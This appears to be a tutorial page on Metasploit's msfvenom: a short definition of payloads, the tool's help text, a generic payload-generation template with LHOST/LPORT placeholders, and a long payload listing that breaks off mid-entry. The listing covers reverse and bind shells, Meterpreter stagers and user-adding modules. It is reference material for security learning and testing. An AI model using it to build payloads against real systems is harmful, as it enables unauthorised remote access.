MSFvenom is a combination of both MSFpayload and MSFencode, which would make it easier for us to generate a payload and encode at the same time.
A payload is a code that you want to run on the victim’s machine after the exploit is completed, whereas a shellcode is usually part of the payload written in the Assembly Language.
┌──(mrdev㉿kali)-[~]
└─$ msfvenom -h
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
-f, --format <format> Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder <encoder> The encoder to use
-a, --arch <arch> The architecture to use
--platform <platform> The platform of the payload
--help-platforms List available platforms
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out <path> Save the payload
-v, --var-name <name> Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message
msfvenom -p <Payload> LHOST=<Your IP> LPORT=4444 -f <format> -o <filename>
┌──(mr-dev㉿kali)-[~]
└─$ msfvenom -l payloads
Framework Payloads (596 total) [--payload <value>]
==================================================
Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over
HTTP
android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over
HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager
android/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell
android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HT
TP
android/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HT
TPS
android/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager
apple_ios/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/shell_reverse_tcp Connect back to attacker and spawn a command shell
apple_ios/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
bsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell
bsd/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/vax/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/x64/exec Execute an arbitrary command
bsd/x64/shell_bind_ipv6_tcp Listen for a connection and spawn a command shell over IPv6
bsd/x64/shell_bind_tcp Bind an arbitrary command to an arbitrary port
bsd/x64/shell_bind_tcp_small Listen for a connection and spawn a command shell
bsd/x64/shell_reverse_ipv6_tcp Connect back to attacker and spawn a command shell over IPv6
bsd/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/x64/shell_reverse_tcp_small Connect back to attacker and spawn a command shell
bsd/x86/exec Execute an arbitrary command
bsd/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
bsd/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
bsd/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for a connection over I
Pv6
bsd/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
bsd/x86/shell/find_tag Spawn a command shell (staged). Use an established connection
bsd/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to the attacker o
ver IPv6
bsd/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
bsd/x86/shell_bind_tcp Listen for a connection and spawn a command shell
bsd/x86/shell_bind_tcp_ipv6 Listen for a connection and spawn a command shell over IPv6
bsd/x86/shell_find_port Spawn a shell on an established connection
bsd/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
bsd/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
bsd/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6
bsdi/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
bsdi/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
bsdi/x86/shell_bind_tcp Listen for a connection and spawn a command shell
bsdi/x86/shell_find_port Spawn a shell on an established connection
bsdi/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
cmd/mainframe/apf_privesc_jcl (Elevate privileges for user. Adds SYSTEM SPECIAL and BPX.SUPE
RUSER to user profile. Does this by using an unsecured/updatea
ble APF authorized library (APFLIB) and updating the user's AC
EE using this program/library. Note: This privesc only works w
ith z/OS systems using RACF, no other ESM is supported.)
cmd/mainframe/bind_shell_jcl Provide JCL which creates a bind shell This implmentation does
not include ebcdic character translation, so a client with tr
anslation capabilities is required. MSF handles this automatic
ally.
cmd/mainframe/generic_jcl Provide JCL which can be used to submit a job to JES2 on z/OS
which will exit and return 0. This can be used as a template f
or other JCL based payloads
cmd/mainframe/reverse_shell_jcl Provide JCL which creates a reverse shell This implementation
does not include ebcdic character translation, so a client wit
h translation capabilities is required. MSF handles this autom
atically.
cmd/unix/bind_awk Listen for a connection and spawn a command shell via GNU AWK
cmd/unix/bind_busybox_telnetd Listen for a connection and spawn a command shell via BusyBox
telnetd
cmd/unix/bind_inetd Listen for a connection and spawn a command shell (persistent)
cmd/unix/bind_jjs Listen for a connection and spawn a command shell via jjs
cmd/unix/bind_lua Listen for a connection and spawn a command shell via Lua
cmd/unix/bind_netcat Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_netcat_gaping Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_netcat_gaping_ipv6 Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_nodejs Continually listen for a connection and spawn a command shell
via nodejs
cmd/unix/bind_perl Listen for a connection and spawn a command shell via perl
cmd/unix/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl
cmd/unix/bind_r Continually listen for a connection and spawn a command shell
via R
cmd/unix/bind_ruby Continually listen for a connection and spawn a command shell
via Ruby
cmd/unix/bind_ruby_ipv6 Continually listen for a connection and spawn a command shell
via Ruby
cmd/unix/bind_socat_udp Creates an interactive shell via socat
cmd/unix/bind_stub Listen for a connection and spawn a command shell (stub only,
no payload)
cmd/unix/bind_zsh Listen for a connection and spawn a command shell via Zsh. Not
e: Although Zsh is often available, please be aware it isn't u
sually installed by default.
cmd/unix/generic Executes the supplied command
cmd/unix/interact Interacts with a shell on an established socket connection
cmd/unix/pingback_bind Accept a connection, send a UUID, then exit
cmd/unix/pingback_reverse Creates a socket, send a UUID, then exit
cmd/unix/reverse Creates an interactive shell through two inbound connections
cmd/unix/reverse_awk Creates an interactive shell via GNU AWK
cmd/unix/reverse_bash Creates an interactive shell via bash's builtin /dev/tcp. This
will not work on circa 2009 and older Debian-based Linux dist
ributions (including Ubuntu) because they compile bash without
the /dev/tcp feature.
cmd/unix/reverse_bash_telnet_ssl Creates an interactive shell via mkfifo and telnet. This metho
d works on Debian and other systems compiled without /dev/tcp
support. This module uses the '-z' option included on some sys
tems to encrypt using SSL.
cmd/unix/reverse_bash_udp Creates an interactive shell via bash's builtin /dev/udp. This
will not work on circa 2009 and older Debian-based Linux dist
ributions (including Ubuntu) because they compile bash without
the /dev/udp feature.
cmd/unix/reverse_jjs Connect back and create a command shell via jjs
cmd/unix/reverse_ksh Connect back and create a command shell via Ksh. Note: Althoug
h Ksh is often available, please be aware it isn't usually ins
talled by default.
cmd/unix/reverse_lua Creates an interactive shell via Lua
cmd/unix/reverse_ncat_ssl Creates an interactive shell via ncat, utilizing ssl mode
cmd/unix/reverse_netcat Creates an interactive shell via netcat
cmd/unix/reverse_netcat_gaping Creates an interactive shell via netcat
cmd/unix/reverse_nodejs Continually listen for a connection and spawn a command shell
via nodejs
cmd/unix/reverse_openssl Creates an interactive shell through two inbound connections
cmd/unix/reverse_perl Creates an interactive shell via perl
cmd/unix/reverse_perl_ssl Creates an interactive shell via perl, uses SSL
cmd/unix/reverse_php_ssl Creates an interactive shell via php, uses SSL
cmd/unix/reverse_python Connect back and create a command shell via Python
cmd/unix/reverse_python_ssl Creates an interactive shell via python, uses SSL, encodes wit
h base64 by design.
cmd/unix/reverse_r Connect back and create a command shell via R
cmd/unix/reverse_ruby Connect back and create a command shell via Ruby
cmd/unix/reverse_ruby_ssl Connect back and create a command shell via Ruby, uses SSL
cmd/unix/reverse_socat_udp Creates an interactive shell via socat
cmd/unix/reverse_ssh Connect back and create a command shell via SSH
cmd/unix/reverse_ssl_double_telnet Creates an interactive shell through two inbound connections,
encrypts using SSL via "-z" option
cmd/unix/reverse_stub Creates an interactive shell through an inbound connection (st
ub only, no payload)
cmd/unix/reverse_tclsh Creates an interactive shell via Tclsh
cmd/unix/reverse_zsh Connect back and create a command shell via Zsh. Note: Althoug
h Zsh is often available, please be aware it isn't usually ins
talled by default.
cmd/windows/adduser Create a new user and add them to local administration group.
Note: The specified password is checked for common complexity
requirements to prevent the target machine rejecting the user
for failing to meet policy requirements. Complexity check: 8-1
4 chars (1 UPPER, 1 lower, 1 digit/special)
cmd/windows/bind_lua Listen for a connection and spawn a command shell via Lua
cmd/windows/bind_perl Listen for a connection and spawn a command shell via perl (pe
rsistent)
cmd/windows/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl (pe
rsistent)
cmd/windows/bind_ruby Continually listen for a connection and spawn a command shell
via Ruby
cmd/windows/download_eval_vbs Downloads a file from an HTTP(S) URL and executes it as a vbs
script. Use it to stage a vbs encoded payload from a short com
mand line.
cmd/windows/download_exec_vbs Download an EXE from an HTTP(S) URL and execute it
cmd/windows/generic Executes the supplied command
cmd/windows/powershell_bind_tcp Interacts with a powershell session on an established socket c
onnection
cmd/windows/powershell_reverse_tcp Interacts with a powershell session on an established socket c
onnection
cmd/windows/powershell_reverse_tcp_ssl Interacts with a powershell session on an established SSL sock
et connection
cmd/windows/reverse_lua Creates an interactive shell via Lua
cmd/windows/reverse_perl Creates an interactive shell via perl
cmd/windows/reverse_powershell Connect back and create a command shell via Powershell
cmd/windows/reverse_ruby Connect back and create a command shell via Ruby
firefox/exec This module runs a shell command on the target OS without touc
hing the disk. On Windows, this command will flash the command
prompt momentarily. This can be avoided by setting WSCRIPT to
true, which drops a jscript "launcher" to disk that hides the
prompt.
firefox/shell_bind_tcp Creates an interactive shell via Javascript with access to Fir
efox's XPCOM API
firefox/shell_reverse_tcp Creates an interactive shell via Javascript with access to Fir
efox's XPCOM API
generic/custom Use custom string or file as payload. Set either PAYLOADFILE o
r PAYLOADSTR.
generic/debug_trap Generate a debug trap in the target process
generic/shell_bind_tcp Listen for a connection and spawn a command shell
generic/shell_reverse_tcp Connect back to attacker and spawn a command shell
generic/ssh/interact Interacts with a shell on an established SSH connection
generic/tight_loop Generate a tight loop in the target process
java/jsp_shell_bind_tcp Listen for a connection and spawn a command shell
java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell
java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection
java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HT
TP
java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HT
TPS
java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager
java/shell/bind_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh every
where else). Listen for a connection
java/shell/reverse_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh every
where else). Connect back stager
java/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/aarch64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the
attacker
linux/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/aarch64/shell/reverse_tcp dup2 socket in x12, then execve. Connect back to the attacker
linux/aarch64/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/armbe/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/shell_bind_tcp Listen for a connection and spawn a command shell
linux/armle/adduser Create a new user with UID 0
linux/armle/exec Execute an arbitrary command
linux/armle/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connec
tion
linux/armle/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the
attacker
linux/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/armle/shell/bind_tcp dup2 socket in r12, then execve. Listen for a connection
linux/armle/shell/reverse_tcp dup2 socket in r12, then execve. Connect back to the attacker
linux/armle/shell_bind_tcp Connect to target and spawn a command shell
linux/armle/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/mips64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/mips64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/mips64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/mipsbe/exec A very small shellcode for executing commands. This module is
sometimes helpful for testing purposes.
linux/mipsbe/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the
attacker
linux/mipsbe/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/mipsbe/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/mipsbe/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/mipsbe/reboot A very small shellcode for rebooting the system. This payload
is sometimes helpful for testing purposes or executing other p
ayloads that rely on initial startup procedures.
linux/mipsbe/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/mipsbe/shell_bind_tcp Listen for a connection and spawn a command shell
linux/mipsbe/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/mipsle/exec A very small shellcode for executing commands. This module is
sometimes helpful for testing purposes as well as on targets w
ith extremely limited buffer space.
linux/mipsle/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the
attacker
linux/mipsle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/mipsle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/mipsle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/mipsle/reboot A very small shellcode for rebooting the system. This payload
is sometimes helpful for testing purposes.
linux/mipsle/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/mipsle/shell_bind_tcp Listen for a connection and spawn a command shell
linux/mipsle/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/ppc/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/ppc/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/ppc/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
linux/ppc/shell_find_port Spawn a shell on an established connection
linux/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/ppc64/shell_bind_tcp Listen for a connection and spawn a command shell
linux/ppc64/shell_find_port Spawn a shell on an established connection
linux/ppc64/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/ppc64le/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/ppc64le/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/ppc64le/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/ppce500v2/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/ppce500v2/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/ppce500v2/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/x64/exec Execute an arbitrary command or just a /bin/sh shell
linux/x64/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connec
tion
linux/x64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the
attacker
linux/x64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/x64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/x64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/x64/pingback_bind_tcp Accept a connection from attacker and report UUID (Linux x64)
linux/x64/pingback_reverse_tcp Connect back to attacker and report UUID (Linux x64)
linux/x64/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
linux/x64/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x64/shell_bind_ipv6_tcp Listen for an IPv6 connection and spawn a command shell
linux/x64/shell_bind_tcp Listen for a connection and spawn a command shell
linux/x64/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command s
hell. Use nmap to discover the open port: 'nmap -sS target -p-
'.
linux/x64/shell_find_port Spawn a shell on an established connection
linux/x64/shell_reverse_ipv6_tcp Connect back to attacker and spawn a command shell over IPv6
linux/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command or just a /bin/sh shell
linux/x86/meterpreter/bind_ipv6_tcp Inject the mettle server payload (staged). Listen for an IPv6
connection (Linux x86)
linux/x86/meterpreter/bind_ipv6_tcp_uuid Inject the mettle server payload (staged). Listen for an IPv6
connection with UUID Support (Linux x86)
linux/x86/meterpreter/bind_nonx_tcp Inject the mettle server payload (staged). Listen for a connec
tion
linux/x86/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connec
tion (Linux x86)
linux/x86/meterpreter/bind_tcp_uuid Inject the mettle server payload (staged). Listen for a connec
tion with UUID Support (Linux x86)
linux/x86/meterpreter/find_tag Inject the mettle server payload (staged). Use an established
connection
linux/x86/meterpreter/reverse_ipv6_tcp Inject the mettle server payload (staged). Connect back to att
acker over IPv6
linux/x86/meterpreter/reverse_nonx_tcp Inject the mettle server payload (staged). Connect back to the
attacker
linux/x86/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the
attacker
linux/x86/meterpreter/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the
attacker
linux/x86/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/read_file Read up to 4096 bytes from the local file system and write it
back out to the specified file descriptor
linux/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for an IPv6 connection
(Linux x86)
linux/x86/shell/bind_ipv6_tcp_uuid Spawn a command shell (staged). Listen for an IPv6 connection
with UUID Support (Linux x86)
linux/x86/shell/bind_nonx_tcp Spawn a command shell (staged). Listen for a connection
linux/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection (Linux
x86)
linux/x86/shell/bind_tcp_uuid Spawn a command shell (staged). Listen for a connection with U
UID Support (Linux x86)
linux/x86/shell/find_tag Spawn a command shell (staged). Use an established connection
linux/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to attacker over
IPv6
linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp_uuid Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a command shell
linux/x86/shell_bind_tcp Listen for a connection and spawn a command shell
linux/x86/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command s
hell. Use nmap to discover the open port: 'nmap -sS target -p-
'.
linux/x86/shell_find_port Spawn a shell on an established connection
linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6
linux/zarch/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/zarch/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/zarch/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
mainframe/shell_reverse_tcp Listen for a connection and spawn a command shell. This implem
entation does not include ebcdic character translation, so a c
lient with translation capabilities is required. MSF handles t
his automatically.
multi/meterpreter/reverse_http Handle Meterpreter sessions regardless of the target arch/plat
form. Tunnel communication over HTTP
multi/meterpreter/reverse_https Handle Meterpreter sessions regardless of the target arch/plat
form. Tunnel communication over HTTPS
netware/shell/reverse_tcp Connect to the NetWare console (staged). Connect back to the a
ttacker
nodejs/shell_bind_tcp Creates an interactive shell via nodejs
nodejs/shell_reverse_tcp Creates an interactive shell via nodejs
nodejs/shell_reverse_tcp_ssl Creates an interactive shell via nodejs, uses SSL
osx/armle/execute/bind_tcp Spawn a command shell (staged). Listen for a connection
osx/armle/execute/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
osx/armle/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
osx/armle/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
osx/armle/shell_bind_tcp Listen for a connection and spawn a command shell
osx/armle/shell_reverse_tcp Connect back to attacker and spawn a command shell
osx/armle/vibrate Causes the iPhone to vibrate, only works when the AudioToolkit
library has been loaded. Based on work by Charlie Miller <cmi
ller[at]securityevaluators.com>.
osx/ppc/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
osx/ppc/shell/find_tag Spawn a command shell (staged). Use an established connection
osx/ppc/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
osx/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
osx/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
osx/x64/dupandexecve/bind_tcp dup2 socket in edi, then execve. Listen, read length, read buf
fer, execute
osx/x64/dupandexecve/reverse_tcp dup2 socket in edi, then execve. Connect, read length, read bu
ffer, execute
osx/x64/dupandexecve/reverse_tcp_uuid dup2 socket in edi, then execve. Connect back to the attacker
with UUID Support (OSX x64)
osx/x64/exec Execute an arbitrary command
osx/x64/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen, read length
, read buffer, execute
osx/x64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect, read lengt
h, read buffer, execute
osx/x64/meterpreter/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the
attacker with UUID Support (OSX x64)
osx/x64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
osx/x64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
osx/x64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
osx/x64/say Say an arbitrary string outloud using Mac OS X text2speech
osx/x64/shell_bind_tcp Bind an arbitrary command to an arbitrary port
osx/x64/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
osx/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell
osx/x86/bundleinject/bind_tcp Inject a custom Mach-O bundle into the exploited process. List
en, read length, read buffer, execute
osx/x86/bundleinject/reverse_tcp Inject a custom Mach-O bundle into the exploited process. Conn
ect, read length, read buffer, execute
osx/x86/exec Execute an arbitrary command
osx/x86/isight/bind_tcp Inject a Mach-O bundle to capture a photo from the iSight (sta
ged). Listen, read length, read buffer, execute
osx/x86/isight/reverse_tcp Inject a Mach-O bundle to capture a photo from the iSight (sta
ged). Connect, read length, read buffer, execute
osx/x86/shell_bind_tcp Listen for a connection and spawn a command shell
osx/x86/shell_find_port Spawn a shell on an established connection
osx/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
osx/x86/vforkshell/bind_tcp Call vfork() if necessary and spawn a command shell (staged).
Listen, read length, read buffer, execute
osx/x86/vforkshell/reverse_tcp Call vfork() if necessary and spawn a command shell (staged).
Connect, read length, read buffer, execute
osx/x86/vforkshell_bind_tcp Listen for a connection, vfork if necessary, and spawn a comma
nd shell
osx/x86/vforkshell_reverse_tcp Connect back to attacker, vfork if necessary, and spawn a comm
and shell
php/bind_perl Listen for a connection and spawn a command shell via perl (pe
rsistent)
php/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl (pe
rsistent) over IPv6
php/bind_php Listen for a connection and spawn a command shell via php
php/bind_php_ipv6 Listen for a connection and spawn a command shell via php (IPv
6)
php/download_exec Download an EXE from an HTTP URL and execute it
php/exec Execute a single system command
php/meterpreter/bind_tcp Run a meterpreter server in PHP. Listen for a connection
php/meterpreter/bind_tcp_ipv6 Run a meterpreter server in PHP. Listen for a connection over
IPv6
php/meterpreter/bind_tcp_ipv6_uuid Run a meterpreter server in PHP. Listen for a connection over
IPv6 with UUID Support
php/meterpreter/bind_tcp_uuid Run a meterpreter server in PHP. Listen for a connection with
UUID Support
php/meterpreter/reverse_tcp Run a meterpreter server in PHP. Reverse PHP connect back stag
er with checks for disabled functions
php/meterpreter/reverse_tcp_uuid Run a meterpreter server in PHP. Reverse PHP connect back stag
er with checks for disabled functions
php/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter server (PHP)
php/reverse_perl Creates an interactive shell via perl
php/reverse_php Reverse PHP connect back shell with checks for disabled functi
ons
php/shell_findsock Spawn a shell on the established connection to the webserver.
Unfortunately, this payload can leave conspicuous evil-looking
entries in the apache error logs, so it is probably a good id
ea to use a bind or reverse shell unless firewalls prevent the
m from working. The issue this payload takes advantage of (CLO
EXEC flag not set on sockets) appears to have been patched on
the Ubuntu version of Apache and may not work on other Debian-
based distributions. Only tested on Apache but it might work o
n other web servers that leak file descriptors to child proces
ses.
python/meterpreter/bind_tcp Run a meterpreter server in Python (compatible with 2.5-2.7 &
3.1+). Listen for a connection
python/meterpreter/bind_tcp_uuid Run a meterpreter server in Python (compatible with 2.5-2.7 &
3.1+). Listen for a connection with UUID Support
python/meterpreter/reverse_http Run a meterpreter server in Python (compatible with 2.5-2.7 &
3.1+). Tunnel communication over HTTP
python/meterpreter/reverse_https Run a meterpreter server in Python (compatible with 2.5-2.7 &
3.1+). Tunnel communication over HTTP using SSL
python/meterpreter/reverse_tcp Run a meterpreter server in Python (compatible with 2.5-2.7 &
3.1+). Connect back to the attacker
python/meterpreter/reverse_tcp_ssl Run a meterpreter server in Python (compatible with 2.5-2.7 &
3.1+). Reverse Python connect back stager using SSL
python/meterpreter/reverse_tcp_uuid Run a meterpreter server in Python (compatible with 2.5-2.7 &
3.1+). Connect back to the attacker with UUID Support
python/meterpreter_bind_tcp Connect to the victim and spawn a Meterpreter shell
python/meterpreter_reverse_http Connect back to the attacker and spawn a Meterpreter shell
python/meterpreter_reverse_https Connect back to the attacker and spawn a Meterpreter shell
python/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell
python/pingback_bind_tcp Listens for a connection from the attacker, sends a UUID, then
terminates
python/pingback_reverse_tcp Connects back to the attacker, sends a UUID, then terminates
python/shell_bind_tcp Creates an interactive shell via Python, encodes with base64 b
y design. Compatible with Python 2.4-2.7 and 3.4+.
python/shell_reverse_tcp Creates an interactive shell via Python, encodes with base64 b
y design. Compatible with Python 2.4-2.7 and 3.4+.
python/shell_reverse_tcp_ssl Creates an interactive shell via Python, uses SSL, encodes wit
h base64 by design. Compatible with Python 2.6-2.7 and 3.4+.
python/shell_reverse_udp Creates an interactive shell via Python, encodes with base64 b
y design. Compatible with Python 2.6-2.7 and 3.4+.
r/shell_bind_tcp Continually listen for a connection and spawn a command shell
via R
r/shell_reverse_tcp Connect back and create a command shell via R
ruby/pingback_bind_tcp Listens for a connection from the attacker, sends a UUID, then
terminates
ruby/pingback_reverse_tcp Connect back to the attacker, sends a UUID, then terminates
ruby/shell_bind_tcp Continually listen for a connection and spawn a command shell
via Ruby
ruby/shell_bind_tcp_ipv6 Continually listen for a connection and spawn a command shell
via Ruby
ruby/shell_reverse_tcp Connect back and create a command shell via Ruby
ruby/shell_reverse_tcp_ssl Connect back and create a command shell via Ruby, uses SSL
solaris/sparc/shell_bind_tcp Listen for a connection and spawn a command shell
solaris/sparc/shell_find_port Spawn a shell on an established connection
solaris/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell
solaris/x86/shell_bind_tcp Listen for a connection and spawn a command shell
solaris/x86/shell_find_port Spawn a shell on an established connection
solaris/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
tty/unix/interact Interacts with a TTY on an established socket connection
windows/adduser Create a new user and add them to local administration group.
Note: The specified password is checked for common complexity
requirements to prevent the target machine rejecting the user
for failing to meet policy requirements. Complexity check: 8-1
4 chars (1 UPPER, 1 lower, 1 digit/special)
windows/dllinject/bind_hidden_ipknock_tcp Inject a DLL via a reflective loader. Listen for a connection.
First, the port will need to be knocked from the IP defined i
